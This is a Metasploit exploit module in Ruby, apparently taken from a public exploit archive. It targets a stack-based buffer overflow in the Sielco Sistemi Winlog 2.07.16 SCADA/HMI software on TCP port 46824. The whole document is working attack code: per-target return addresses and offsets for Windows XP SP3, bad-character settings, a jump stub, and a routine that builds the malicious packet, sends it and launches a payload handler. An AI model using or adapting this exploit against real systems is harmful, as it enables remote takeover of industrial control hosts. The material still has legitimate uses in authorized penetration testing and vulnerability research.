Sielco Sistemi Winlog 2.07.16 – Remote Buffer Overflow (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Sielco Sistemi Winlog <= 2.07.16', 'Description' => %q{ This module exploits a stack based buffer overflow found in Sielco Sistemi Winlog <= 2.07.16. The overflow is triggered during the parsing of a maliciously crafted packet }, 'Author' => [ 'James Fitts' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 150, 'BadChars' => "\x00\x0a\x0d\x20", 'DisableNops' => 'True', # add esp, -5500 'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff", 'Compat' => { 'SymbolLookup' => 'ws2ord', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 EN (Automatic Washing System Demo)', { # vcldb40.bpl # jmp esp 'Ret' => 0x46035f8b, 'Offset' => 160, 'jmp' => "\xe9\x56\xff\xff\xff", } ], [ 'Windows XP SP3 EN (Car Simulation)', { # vcl40.bpl # jmp esp 'Ret' => 0x4003eb6b, 'Offset' => 175, 'jmp' => "\xe9\x46\xff\xff\xff", } ], [ 'Windows XP SP3 EN (Ceramics Kiln)', { # ter19.dll # push esp/ retn 'Ret' => 0x258b4432, 'Offset' => 176, 'jmp' => "\xe9\x46\xff\xff\xff", } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 26 2012')) register_options([Opt::RPORT(46824)], self.class) end def exploit connect boom = rand_text_alpha_upper(20) boom << 'x' boom << rand_text_alpha_upper(target['Offset']) boom << [target.ret].pack('V') boom << "\x41" * 4 boom << target['jmp'] boom << "\xcc" * (281 - boom.length) boom[22,4] = "\x41" * 4 boom[26,payload.encoded.length] = payload.encoded print_status("Trying target #{target.name}...") sock.put(boom) handler end end |